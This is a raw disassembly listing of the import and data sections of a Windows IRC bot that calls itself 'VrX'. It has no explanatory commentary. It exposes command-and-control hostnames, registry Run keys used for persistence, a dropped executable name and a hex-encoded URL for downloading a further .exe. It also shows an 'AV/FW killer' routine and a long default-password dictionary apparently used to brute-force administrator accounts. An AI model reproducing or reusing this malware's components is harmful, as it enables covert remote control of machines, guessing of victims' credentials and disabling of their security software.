aTlogicaldrives db 'tLogicalDrives',0
align 4
db 4
db 2, 47h, 6Ch
aObalmemorystat db 'obalMemoryStatus',0
align 2
dw 21Ah
aHeaprealloc db 'HeapReAlloc',0
dd 745202D7h, 776E556Ch, 646E69h, 654701B7h, 61745374h
dd 70757472h, 6F666E49h, 1100041h, 43746547h, 616D6D6Fh
dd 694C646Eh, 41656Eh, 654701E8h, 72655674h, 6E6F6973h
dd 1580000h
aGetenvironme_0 db 'GetEnvironmentVariableA',0
dd 65480214h, 65447061h, 6F727473h, 2120079h, 70616548h
dd 61657243h, 6574h, 69560383h, 61757472h, 6572466Ch, 3810065h
dd 74726956h, 416C6175h, 636F6C6Ch, 2360000h, 61427349h
dd 69725764h, 74506574h, 1040072h, 43746547h, 666E4950h
dd 0FD006Fh, 41746547h, 5043h, 65470193h, 4D454F74h, 5043h
dd 615202A7h, 45657369h, 70656378h, 6E6F6974h, 21C0000h
dd 70616548h, 657A6953h, 2440000h, 614D434Ch, 72745370h
dd 41676E69h, 2450000h, 614D434Ch, 72745370h, 57676E69h
dd 36E0000h
aUnhandledexcep db 'UnhandledExceptionFilter',0
align 2
dw 0F6h
aFreeenvironmen db 'FreeEnvironmentStringsA',0
db 0F7h ; ÷
align 2
aFreeenvironm_0 db 'FreeEnvironmentStringsW',0
dw 155h
aGetenvironme_1 db 'GetEnvironmentStrings',0
dw 157h
aGetenvironme_2 db 'GetEnvironmentStringsW',0
align 4
db 24h ; $
db 3, 53h, 65h
aThandlecount db 'tHandleCount',0
align 2
dw 1B9h
aGetstdhandle db 'GetStdHandle',0
align 2
dw 166h
aGetfiletype db 'GetFileType',0
db 37h ; 7
db 3, 53h, 65h
aTstdhandle db 'tStdHandle',0
align 4
aU_0 db 'î',0
aFlushfilebuffe db 'FlushFileBuffers',0
align 10h
db 0BAh ; º
db 1, 47h, 65h
aTstringtypea db 'tStringTypeA',0
align 2
dw 1BDh
aGetstringtypew db 'GetStringTypeW',0
align 4
db 4Ah ; J
db 3, 53h, 65h
aTunhandledexce db 'tUnhandledExceptionFilter',0
dw 233h
aIsbadreadptr db 'IsBadReadPtr',0
align 2
dw 230h
aIsbadcodeptr db 'IsBadCodePtr',0
align 2
dw 310h
aSetendoffile db 'SetEndOfFile',0
align 2
aKernel32_dll_0 db 'KERNEL32.dll',0
align 10h
_rdata ends
; Section 3. (virtual address 00029000)
; Virtual size : 000B43A0 ( 738208.)
; Section size in file : 000B43A0 ( 738208.)
; Offset to raw data for section: 00029000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_data segment para public 'DATA' use32
assume cs:_data
;org 429000h
dword_429000 dd 0 ; DATA XREF: sub_41C164+1Fo
dd offset loc_401205
dd offset sub_40DB3C
dd offset sub_40F0EC
dword_429010 dd 0 ; DATA XREF: sub_41C164+1Ao
dword_429014 dd 0 ; DATA XREF: sub_41C164+10o
dd offset sub_41DA32
dd offset sub_420B0D
dd offset sub_42413E
dd offset sub_424F62
dword_429028 dd 0 ; DATA XREF: sub_41C164:loc_41C16Fo
dword_42902C dd 0 ; DATA XREF: sub_41C1B3+65o
dd offset sub_4241E3
dword_429034 dd 0 ; DATA XREF: sub_41C1B3:loc_41C213o
dword_429038 dd 0 ; DATA XREF: sub_41C1B3+76o
dd offset sub_424F73
dword_429040 dd 4 dup(0) ; DATA XREF: sub_41C1B3:loc_41C224o
dword_429050 dd 80000002h, 429170h, 80000002h, 4291A0h, 80000001h, 429170h
; DATA XREF: sub_401000+7o
dword_429068 dd 6272h ; DATA XREF: sub_401000+63o
; sub_4010AB+Bo ...
dword_42906C dd 1B58h ; DATA XREF: sub_401221+4A4r
; sub_401221+539r
dword_429070 dd 0C8Bh ; DATA XREF: sub_401221+585r
dword_429074 dd 7E4h ; DATA XREF: sub_401ACD:loc_4045D8r
dword_429078 dd 45h ; DATA XREF: sub_401ACD+202Er
; sub_40BD91+3Br
dword_42907C dd 7D1h ; DATA XREF: sub_401ACD:loc_403BE9r
; sub_40BD91:loc_40C182r
dword_429080 dd 201h ; DATA XREF: sub_401ACD:loc_403D75r
word_429084 dw 7C7h ; DATA XREF: sub_401ACD:loc_4046FBr
align 4
dword_429088 dd 1 ; DATA XREF: sub_401ACD+643r
dword_42908C dd 1 ; DATA XREF: sub_401221+13Dr
dword_429090 dd 1 ; DATA XREF: sub_401221:loc_401562r
; sub_4188A6+Cr
byte_429094 db 2Eh ; DATA XREF: sub_401ACD+A76r
; sub_401ACD+B30r ...
align 4
dword_429098 dd 0Ah ; DATA XREF: sub_40AAAC+3Ar
; sub_40AAAC+60r ...
dword_42909C dd 4 ; DATA XREF: sub_4017ED+78r
; sub_401ACD+279r ...
dword_4290A0 dd 1 ; DATA XREF: sub_4017ED+72r
; sub_401ACD+273r
aSbrti db 'sbrti',0 ; DATA XREF: sub_401221+5Do
; sub_401ACD:loc_40445Do ...
align 4
aAbosel7V4 db 'abosel7 v4',0 ; DATA XREF: sub_401ACD:loc_404902o
align 4
aCool db 'cool',0 ; DATA XREF: sub_401ACD+7BCBo
; sub_401ACD+7C9Ao
align 10h
aScorti1_dns2go db 'scorti1.dns2go.com',0 ; DATA XREF: sub_401221+490o
; sub_401221+52Ao
align 4
aFaak db '#FAAK#',0 ; DATA XREF: sub_401221+4B0o
; sub_401221+540o ...
align 4
aSaad_ db 'saad.',0 ; DATA XREF: sub_401221+4C7o
; sub_401221+552o
align 4
byte_4290E4 db 73h ; DATA XREF: sub_401221:loc_401789r
; sub_401221+576o
aCorti1_dns2go_ db 'corti1.dns2go.com',0
align 4
aFaak_0 db '#FAAK#',0 ; DATA XREF: sub_401221+58Co
align 10h
aSaad__0 db 'saad.',0 ; DATA XREF: sub_401221+59Eo
align 4
aQunapfgq_exe db 'qunapfgq.exe',0 ; DATA XREF: sub_401221+143o
; sub_401221+167w ...
align 4
aWinnt_bat db 'winnt.bat',0
align 4
aWindosSeresAgn db 'Windos Seres Agnts',0 ; DATA XREF: sub_401000+Eo
align 4
asc_429138: ; DATA XREF: .text:0040AB2Bo
unicode 0, <->,0
aWinsys_dat db 'winsys.dat',0
align 4
aXI db '-x+i',0 ; DATA XREF: sub_401ACD+7D1Do
align 10h
aF db '#f',0 ; DATA XREF: sub_401ACD+1E91o
; sub_401ACD+1EA2o ...
align 4
aF_0 db '#f',0 ; DATA XREF: sub_401ACD+72B4o
; sub_401ACD+730Co
align 4
aF_1 db '#f',0 ; DATA XREF: sub_401ACD+40EAo
; sub_401ACD+423Ao
align 4
off_42915C dd offset a@admin_com ; DATA XREF: sub_401ACD:loc_4096EBo
; "*@admin.com"
off_429160 dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8A7r
; sub_401ACD+7C3Ao
; "mIRC v6.16 Khaled Mardam-Bey"
dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey"
dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey"
dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey"
aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0
align 10h
aSoftwareMicr_1 db 'Software\Microsoft\Windows\CurrentVersion\RunServices',0
align 4
aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41A3C6+28o
; sub_41A6EA+28o
align 10h
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41A3C6+D4o
; sub_41A6EA+D4o
align 4
dd 2 dup(1), 70747468h, 772F2F3Ah, 662E7777h, 77656572h
dd 6F746265h, 632E6E77h, 7A2F6D6Fh, 2F737678h, 73636E76h
dd 652E6D79h, 6578h, 429938h, 429928h, 429918h, 42990Ch
dd 429904h, 4298FCh, 4298F4h, 4298ECh, 4298E0h, 4298D8h
dd 4298D0h, 4298C8h, 4298BCh, 4298B4h, 4298ACh, 4298A0h
dd 42989Ch, 429894h, 429890h, 0
dd offset byte_43DB88
dd offset aAdministrato_0 ; "administrator"
dd offset aAdministrador ; "administrador"
dd offset aAdministrateur ; "administrateur"
dd offset aAdministrat ; "administrat"
dd offset aAdmins ; "admins"
dd offset aAdmin ; "admin"
dd offset aAdm ; "adm"
dd offset aPassword1 ; "password1"
dd offset aPassword ; "password"
dd offset aPasswd ; "passwd"
dd offset aPass1234 ; "pass1234"
dd offset aPass_1 ; "pass"
dd offset aPwd ; "pwd"
dd offset a007 ; "007"
dd offset a1 ; "1"
dd offset a12 ; "12"
dd offset a123 ; "123"
dd offset a1234 ; "1234"
dd offset a12345 ; "12345"
dd offset a123456 ; "123456"
dd offset a1234567 ; "1234567"
dd offset a12345678 ; "12345678"
dd offset a123456789 ; "123456789"
dd offset a1234567890 ; "1234567890"
dd offset a2000 ; "2000"
dd offset a2001 ; "2001"
dd offset a2002 ; "2002"
dd offset a2003 ; "2003"
dd offset a2004 ; "2004"
dd offset aTest ; "test"
dd offset aGuest_0 ; "guest"
dd offset aNone ; "none"
dd offset aDemo ; "demo"
dd offset aUnix ; "unix"
dd offset aLinux ; "linux"
dd offset aChangeme ; "changeme"
dd offset aDefault ; "default"
dd offset aSystem ; "system"
dd offset aServer_1 ; "server"
dd offset aRoot ; "root"
dd offset aNull_1 ; "null"
dd offset aQwerty ; "qwerty"
dd offset aMail ; "mail"
dd offset aOutlook ; "outlook"
dd offset aWeb ; "web"
dd offset aWww ; "www"
dd offset aInternet ; "internet"
dd offset aAccounts ; "accounts"
dd offset aAccounting ; "accounting"
dd offset aHome ; "home"
dd offset aHomeuser ; "homeuser"
dd offset aUser_0 ; "user"
dd offset aOem ; "oem"
dd offset aOemuser ; "oemuser"
dd offset aOeminstall ; "oeminstall"
dd offset aWindows ; "windows"
dd offset aWin98 ; "win98"
dd offset aWin2k ; "win2k"
dd offset aWinxp ; "winxp"
dd offset aWinnt ; "winnt"
dd offset aWin2000 ; "win2000"
dd offset aQaz ; "qaz"
dd offset aAsd ; "asd"
dd offset aZxc ; "zxc"
dd offset aQwe ; "qwe"
dd offset aBob ; "bob"
dd offset aJen ; "jen"
dd offset aJoe ; "joe"
dd offset aFred ; "fred"
dd offset aBill ; "bill"
dd offset aMike ; "mike"
dd offset aJohn ; "john"
dd offset aPeter ; "peter"
dd offset aLuke ; "luke"
dd offset aSam ; "sam"
dd offset aSue ; "sue"
dd offset aSusan ; "susan"
dd offset aPeter ; "peter"
dd offset aBrian ; "brian"
dd offset aLee ; "lee"
dd offset aNeil ; "neil"
dd offset aIan ; "ian"
dd offset aChris ; "chris"
dd offset aEric ; "eric"
dd offset aGeorge ; "george"
dd offset aKate ; "kate"
dd offset aBob ; "bob"
dd offset aKatie ; "katie"
dd offset aMary ; "mary"
dd offset aLogin_1 ; "login"
dd offset aLoginpass ; "loginpass"
dd offset aTechnical ; "technical"
dd offset aBackup ; "backup"
dd offset aExchange ; "exchange"
dd offset aFuck ; "fuck"
dd offset aBitch ; "bitch"
dd offset aSlut ; "slut"
dd offset aSex ; "sex"
dd offset aGod ; "god"
dd offset aHell ; "hell"
dd offset aHello ; "hello"
dd offset aDomain ; "domain"
dd offset aDomainpass ; "domainpass"
dd offset aDomainpassword ; "domainpassword"
dd offset aDatabase ; "database"
dd offset aAccess ; "access"
dd offset aDbpass ; "dbpass"
dd offset aDbpassword ; "dbpassword"
dd offset aDatabasepass ; "databasepass"
dd offset aData ; "data"
dd offset aDatabasepasswo ; "databasepassword"
dd offset aDb1 ; "db1"
dd offset aDb2 ; "db2"
dd offset aDb1234 ; "db1234"
dd offset aSa ; "sa"
dd offset aSql ; "sql"
dd offset aSqlpassoainsta ; "sqlpassoainstall"
dd offset aOrainstall ; "orainstall"
dd offset aOracle ; "oracle"
dd offset aIbm ; "ibm"
dd offset aCisco ; "cisco"
dd offset aDell ; "dell"
dd offset aCompaq ; "compaq"
dd offset aSiemens ; "siemens"
dd offset aHp ; "hp"
dd offset aNokia ; "nokia"
dd offset aXp_0 ; "xp"
dd offset aControl ; "control"
dd offset aOffice ; "office"
dd offset aBlank ; "blank"
dd offset aWinpass ; "winpass"
dd offset aMain ; "main"
dd offset aLan ; "lan"
dd offset aInternet ; "internet"
dd offset aIntranet ; "intranet"
dd offset aStudent ; "student"
dd offset aTeacher ; "teacher"
dd offset aStaff ; "staff"
dd 0
dword_4294CC dd 10h ; DATA XREF: sub_401ACD+AE0r
; sub_401ACD+B0Cr ...
aIntranet db 'intranet',0 ; DATA XREF: .data:004294B8o
align 4
aLan db 'lan',0 ; DATA XREF: .data:004294B0o
aMain db 'main',0 ; DATA XREF: .data:004294ACo
align 4
aWinpass db 'winpass',0 ; DATA XREF: .data:004294A8o
aBlank db 'blank',0 ; DATA XREF: .data:004294A4o
align 4
aOffice db 'office',0 ; DATA XREF: .data:004294A0o
align 10h
aControl db 'control',0 ; DATA XREF: .data:0042949Co
aXp_0 db 'xp',0 ; DATA XREF: .data:00429498o
align 4
aNokia db 'nokia',0 ; DATA XREF: .data:00429494o
align 4
aHp db 'hp',0 ; DATA XREF: .data:00429490o
align 4
aSiemens db 'siemens',0 ; DATA XREF: .data:0042948Co
aCompaq db 'compaq',0 ; DATA XREF: .data:00429488o
align 4
aDell db 'dell',0 ; DATA XREF: .data:00429484o
align 10h
aCisco db 'cisco',0 ; DATA XREF: .data:00429480o
align 4
aIbm db 'ibm',0 ; DATA XREF: .data:0042947Co
aOrainstall db 'orainstall',0 ; DATA XREF: .data:00429474o
align 4
aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: .data:00429470o
align 4
aSql db 'sql',0 ; DATA XREF: .data:0042946Co
aSa db 'sa',0 ; DATA XREF: .data:00429468o
align 4
aDb1234 db 'db1234',0 ; DATA XREF: .data:00429464o
align 4
aDb1 db 'db1',0 ; DATA XREF: .data:0042945Co
aDatabasepasswo db 'databasepassword',0 ; DATA XREF: .data:00429458o
align 4
aData db 'data',0 ; DATA XREF: .data:00429454o
align 4
aDatabasepass db 'databasepass',0 ; DATA XREF: .data:00429450o
align 4
aDbpassword db 'dbpassword',0 ; DATA XREF: .data:0042944Co
align 4
aDbpass db 'dbpass',0 ; DATA XREF: .data:00429448o
align 10h
aAccess db 'access',0 ; DATA XREF: .data:00429444o
align 4
aDomainpassword db 'domainpassword',0 ; DATA XREF: .data:0042943Co
align 4
aDomainpass db 'domainpass',0 ; DATA XREF: .data:00429438o
align 4
aDomain db 'domain',0 ; DATA XREF: .data:00429434o
align 4
aHello db 'hello',0 ; DATA XREF: .data:00429430o
align 4
aHell db 'hell',0 ; DATA XREF: .data:0042942Co
align 4
aGod db 'god',0 ; DATA XREF: .data:00429428o
aSex db 'sex',0 ; DATA XREF: .data:00429424o
; .data:off_438A68o
aSlut db 'slut',0 ; DATA XREF: .data:00429420o
align 4
aBitch db 'bitch',0 ; DATA XREF: .data:0042941Co
align 4
aFuck db 'fuck',0 ; DATA XREF: .data:00429418o
align 4
aExchange db 'exchange',0 ; DATA XREF: .data:00429414o
align 4
aBackup db 'backup',0 ; DATA XREF: .data:00429410o
align 10h
aTechnical db 'technical',0 ; DATA XREF: .data:0042940Co
align 4
aLoginpass db 'loginpass',0 ; DATA XREF: .data:00429408o
align 4
aLogin_1 db 'login',0 ; DATA XREF: .data:00429404o
align 10h
aMary db 'mary',0 ; DATA XREF: .data:00429400o
align 4
aKatie db 'katie',0 ; DATA XREF: .data:004293FCo
align 10h
aKate db 'kate',0 ; DATA XREF: .data:004293F4o
align 4
aGeorge db 'george',0 ; DATA XREF: .data:004293F0o
align 10h
aEric db 'eric',0 ; DATA XREF: .data:004293ECo
align 4
aChris db 'chris',0 ; DATA XREF: .data:004293E8o
align 10h
aIan db 'ian',0 ; DATA XREF: .data:004293E4o
aNeil db 'neil',0 ; DATA XREF: .data:004293E0o
align 4
aLee db 'lee',0 ; DATA XREF: .data:004293DCo
aBrian db 'brian',0 ; DATA XREF: .data:004293D8o
align 4
aSusan db 'susan',0 ; DATA XREF: .data:004293D0o
align 10h
aSue db 'sue',0 ; DATA XREF: .data:004293CCo
aSam db 'sam',0 ; DATA XREF: .data:004293C8o
aLuke db 'luke',0 ; DATA XREF: .data:004293C4o
align 10h
aPeter db 'peter',0 ; DATA XREF: .data:004293C0o
; .data:004293D4o
align 4
aJohn db 'john',0 ; DATA XREF: .data:004293BCo
align 10h
aMike db 'mike',0 ; DATA XREF: .data:004293B8o
align 4
aBill db 'bill',0 ; DATA XREF: .data:004293B4o
align 10h
aFred db 'fred',0 ; DATA XREF: .data:004293B0o
align 4
aJoe db 'joe',0 ; DATA XREF: .data:004293ACo
aJen db 'jen',0 ; DATA XREF: .data:004293A8o
aBob db 'bob',0 ; DATA XREF: .data:004293A4o
; .data:004293F8o
aQwe db 'qwe',0 ; DATA XREF: .data:004293A0o
aZxc db 'zxc',0 ; DATA XREF: .data:0042939Co
aAsd db 'asd',0 ; DATA XREF: .data:00429398o
aQaz db 'qaz',0 ; DATA XREF: .data:00429394o
aWin2000 db 'win2000',0 ; DATA XREF: .data:00429390o
aWinnt db 'winnt',0 ; DATA XREF: .data:0042938Co
align 4
aWinxp db 'winxp',0 ; DATA XREF: .data:00429388o
align 4
aWin2k db 'win2k',0 ; DATA XREF: .data:00429384o
align 4
aWin98 db 'win98',0 ; DATA XREF: .data:00429380o
align 4
aWindows db 'windows',0 ; DATA XREF: .data:0042937Co
aOeminstall db 'oeminstall',0 ; DATA XREF: .data:00429378o
align 10h
aOemuser db 'oemuser',0 ; DATA XREF: .data:00429374o
aOem db 'oem',0 ; DATA XREF: .data:00429370o
aUser_0 db 'user',0 ; DATA XREF: sub_401ACD+45CFo
; .data:0042936Co
align 4
aHomeuser db 'homeuser',0 ; DATA XREF: .data:00429368o
align 10h
aHome db 'home',0 ; DATA XREF: .data:00429364o
align 4
aAccounting db 'accounting',0 ; DATA XREF: .data:00429360o
align 4
aAccounts db 'accounts',0 ; DATA XREF: .data:0042935Co
align 10h
aInternet db 'internet',0 ; DATA XREF: .data:00429358o
; .data:004294B4o
align 4
aWww db 'www',0 ; DATA XREF: .data:00429354o
aWeb db 'web',0 ; DATA XREF: sub_401ACD+7283o
; .data:00429350o
aOutlook db 'outlook',0 ; DATA XREF: .data:0042934Co
aMail db 'mail',0 ; DATA XREF: .data:00429348o
align 4
aQwerty db 'qwerty',0 ; DATA XREF: .data:00429344o
align 4
aNull_1 db 'null',0 ; DATA XREF: .data:00429340o
align 4
aServer_1 db 'server',0 ; DATA XREF: sub_401ACD+3E8Bo
; .data:00429338o
align 4
aSystem db 'system',0 ; DATA XREF: .data:00429334o
align 4
aChangeme db 'changeme',0 ; DATA XREF: .data:0042932Co
align 10h
aLinux db 'linux',0 ; DATA XREF: .data:00429328o
align 4
aUnix db 'unix',0 ; DATA XREF: .data:00429324o
align 10h
aDemo db 'demo',0 ; DATA XREF: .data:00429320o
align 4
aNone db 'none',0 ; DATA XREF: .data:0042931Co
align 10h
aTest db 'test',0 ; DATA XREF: .data:00429314o
align 4
a2004 db '2004',0 ; DATA XREF: .data:00429310o
align 10h
a2003 db '2003',0 ; DATA XREF: sub_41AF8F+BAo
; .data:0042930Co
align 4
a2002 db '2002',0 ; DATA XREF: .data:00429308o
align 10h
a2001 db '2001',0 ; DATA XREF: .data:00429304o
align 4
a2000 db '2000',0 ; DATA XREF: .data:00429300o
align 10h
a1234567890 db '1234567890',0 ; DATA XREF: .data:004292FCo
align 4
a123456789 db '123456789',0 ; DATA XREF: .data:004292F8o
align 4
a12345678 db '12345678',0 ; DATA XREF: .data:004292F4o
align 4
a1234567 db '1234567',0 ; DATA XREF: .data:004292F0o
a123456 db '123456',0 ; DATA XREF: .data:004292ECo
align 4
a12345 db '12345',0 ; DATA XREF: .data:004292E8o
align 4
a1234 db '1234',0 ; DATA XREF: .data:004292E4o
align 4
a123 db '123',0 ; DATA XREF: .data:004292E0o
a12 db '12',0 ; DATA XREF: .data:004292DCo
align 4
a1: ; DATA XREF: .text:0040AFC7o
; .data:004292D8o
unicode 0, <1>,0
a007 db '007',0 ; DATA XREF: .data:004292D4o
aPwd db 'pwd',0 ; DATA XREF: .data:004292D0o
aPass_1 db 'pass',0 ; DATA XREF: .data:004292CCo
align 10h
aPass1234 db 'pass1234',0 ; DATA XREF: .data:004292C8o
align 4
aPasswd db 'passwd',0 ; DATA XREF: .data:004292C4o
align 4
aPassword db 'password',0 ; DATA XREF: .data:004292C0o
align 10h
aPassword1 db 'password1',0 ; DATA XREF: .data:004292BCo
align 4
aAdm db 'adm',0 ; DATA XREF: .data:004292B8o
aDb2 db 'db2',0 ; DATA XREF: .data:00429460o
aOracle db 'oracle',0 ; DATA XREF: .data:00429478o
align 4
aDba db 'dba',0
aDatabase db 'database',0 ; DATA XREF: .data:00429440o
align 4
aDefault db 'default',0 ; DATA XREF: .data:00429330o
aGuest_0 db 'guest',0 ; DATA XREF: .data:00429318o
align 4
aWwwadmin db 'wwwadmin',0
align 4
aTeacher db 'teacher',0 ; DATA XREF: .data:004294C0o
aStudent db 'student',0 ; DATA XREF: .data:004294BCo
aOwner db 'owner',0
align 10h
aComputer db 'computer',0
align 4
aRoot db 'root',0 ; DATA XREF: .data:0042933Co
align 4
aStaff db 'staff',0 ; DATA XREF: .data:004294C4o
align 4
aAdmin db 'admin',0 ; DATA XREF: .data:004292B4o
align 4
aAdmins db 'admins',0 ; DATA XREF: .data:004292B0o
align 4
aAdministrat db 'administrat',0 ; DATA XREF: .data:004292ACo
aAdministrateur db 'administrateur',0 ; DATA XREF: .data:004292A8o
align 4
aAdministrador db 'administrador',0 ; DATA XREF: .data:004292A4o
align 4
aAdministrato_0 db 'administrator',0 ; DATA XREF: .data:004292A0o
align 4
aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: .data:0042916Co
align 4
aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: .data:00429168o
align 4
aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: .data:00429164o
align 4
aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: .data:off_429160o
align 4
a@admin_com db '*@admin.com',0 ; DATA XREF: .data:off_42915Co
dword_4299D4 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: sub_401221+46Bo
aFailedToStartS db '- Failed to start server, error: <%d>.',0
align 4
dword_429A08 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: sub_401221+420o
aServerRunningO db '- Server running on Port: 113.',0
align 4
unk_429A34 db 2Dh ; - ; DATA XREF: sub_401221+3F3o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 3, 2, 2Dh
aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0
align 4
unk_429A74 db 2Dh ; - ; DATA XREF: sub_401221+3A2o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 3, 2, 2Dh
aAvFwKillerActi db ' AV/FW Killer active.',0
align 4
dword_429A98 dd 234032Dh, 6E69616Dh, 202D0203h, 20746F42h, 72617473h
; DATA XREF: sub_401221+364o
dd 2E646574h, 0
aSDS db '%s %d "%s"',0 ; DATA XREF: sub_401221+28Fo
align 10h
aSS_0 db '%s\%s',0 ; DATA XREF: sub_401221+189o
; sub_41716F+45o
align 4
aSS db '%s%s',0 ; DATA XREF: sub_401221+10Do
; sub_4100B4+EAo ...
align 10h
unk_429AD0 db 3 ; DATA XREF: sub_4017ED+F2o
a81VrxConnected db '8,1-VrX- Connected to %s.',0
align 4
aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_401955+62o
db 'USER %s 0 0 :%s',0Dh,0Ah,0
align 4
aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_401955+35o
align 4
aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D25o
align 4
aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D0Do
align 4
unk_429B34 db 3 ; DATA XREF: sub_401ACD+7CF9o
a81VrxUserSLogg db '8,1-VrX- User: %s logged in.',0
align 4
unk_429B54 db 3 ; DATA XREF: sub_401ACD+7CDCo
a81VrxPasswordA db '8,1-VrX- Password accepted.',0
align 4
unk_429B74 db 3 ; DATA XREF: sub_401ACD+7C7Bo
a81VrxFailedHos db '8,1-VrX- *Failed host auth by: (%s!%s).',0
align 10h
aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_401ACD+7C52o
align 4
unk_429BC8 db 3 ; DATA XREF: sub_401ACD+7C14o
a81VrxFailedPas db '8,1-VrX- *Failed pass auth by: (%s!%s).',0
align 4
aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
; DATA XREF: sub_401ACD+7C02o
; sub_401ACD+7C69o
align 10h
aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_401ACD+7BEBo
align 4
asc_429C48: ; DATA XREF: sub_401ACD+7BBBo
unicode 0, <~>,0
unk_429C4C db 3 ; DATA XREF: sub_401ACD+7B6Bo
a81VrxRandomNic db '8,1-VrX- Random nick change: %s',0
align 10h
unk_429C70 db 3 ; DATA XREF: sub_401ACD+7AFDo
a81VrxReconnect db '8,1-VrX- Reconnecting in %s seconds',0
align 4
unk_429C98 db 3 ; DATA XREF: sub_401ACD+7AB9o
a81VrxReconne_0 db '8,1-VrX- Reconnecting in %s ms',0
unk_429CB8 db 3 ; DATA XREF: sub_401ACD+7A99o
a81VrxNickChang db '8,1-VrX- Nick changed to: ',27h,'%s',27h,'.',0
align 4
unk_429CDC db 3 ; DATA XREF: sub_401ACD+7A7Do
a81VrxJoinedCha db '8,1-VrX- Joined channel: ',27h,'%s',27h,'.',0
unk_429CFC db 3 ; DATA XREF: sub_401ACD+7A5Ao
a81VrxPartedCha db '8,1-VrX- Parted channel: ',27h,'%s',27h,'.',0
unk_429D1C db 3 ; DATA XREF: sub_401ACD+7A3Eo
a81VrxIrcRawS_ db '8,1-VrX- IRC Raw: %s.',0
align 4
unk_429D34 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40948Ao
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aFailedToKillTh db '- Failed to kill thread: %s.',0
align 10h
unk_429D60 db 2Dh ; - ; DATA XREF: sub_401ACD+79B6o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aKilledThreadS_ db '- Killed thread: %s.',0
align 4
unk_429D84 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40943Do
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aNoActiveThread db '- No active threads found.',0
unk_429DAC db 2Dh ; - ; DATA XREF: sub_401ACD+7966o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aStoppedDThread db '- Stopped: %d thread(s).',0
align 4
aAll db 'all',0 ; DATA XREF: sub_401ACD+794Co
unk_429DD8 db 3 ; DATA XREF: sub_401ACD+7848o
a81VrxPrefixCha db '8,1-VrX- Prefix changed to: ',27h,'%c',27h,'.',0
align 4
unk_429DFC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409300o
db 3, 34h, 2
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0
unk_429E20 db 2Dh ; - ; DATA XREF: sub_401ACD+7829o
db 3, 34h, 2
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aFileOpenedS db ' File opened: %s',0
align 10h
unk_429E40 db 3 ; DATA XREF: sub_401ACD+7809o
a81VrxServerCha db '8,1-VrX- Server changed to: ',27h,'%s',27h,'.',0
align 4
unk_429E64 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4092BDo
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0
align 4
unk_429E8C db 2Dh ; - ; DATA XREF: sub_401ACD+77C2o
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aLookupSS_ db '- Lookup: %s -> %s.',0
align 4
unk_429EAC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409255o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToTermin db ' Failed to terminate process: %s',0
align 4
unk_429EDC db 2Dh ; - ; DATA XREF: sub_401ACD+777Eo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessKilledS db ' Process killed: %s',0
unk_429EFC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4091F5o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToTerm_0 db ' Failed to terminate process ID: %s',0
unk_429F2C db 2Dh ; - ; DATA XREF: sub_401ACD+7721o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessKilledI db ' Process killed ID: %s',0
align 10h
dword_429F50 dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h
; DATA XREF: sub_401ACD+76DFo
dd 27732527h, 2Eh
unk_429F6C db 2Dh ; - ; DATA XREF: sub_401ACD+7667o
db 3, 34h, 2
db 64h ; d
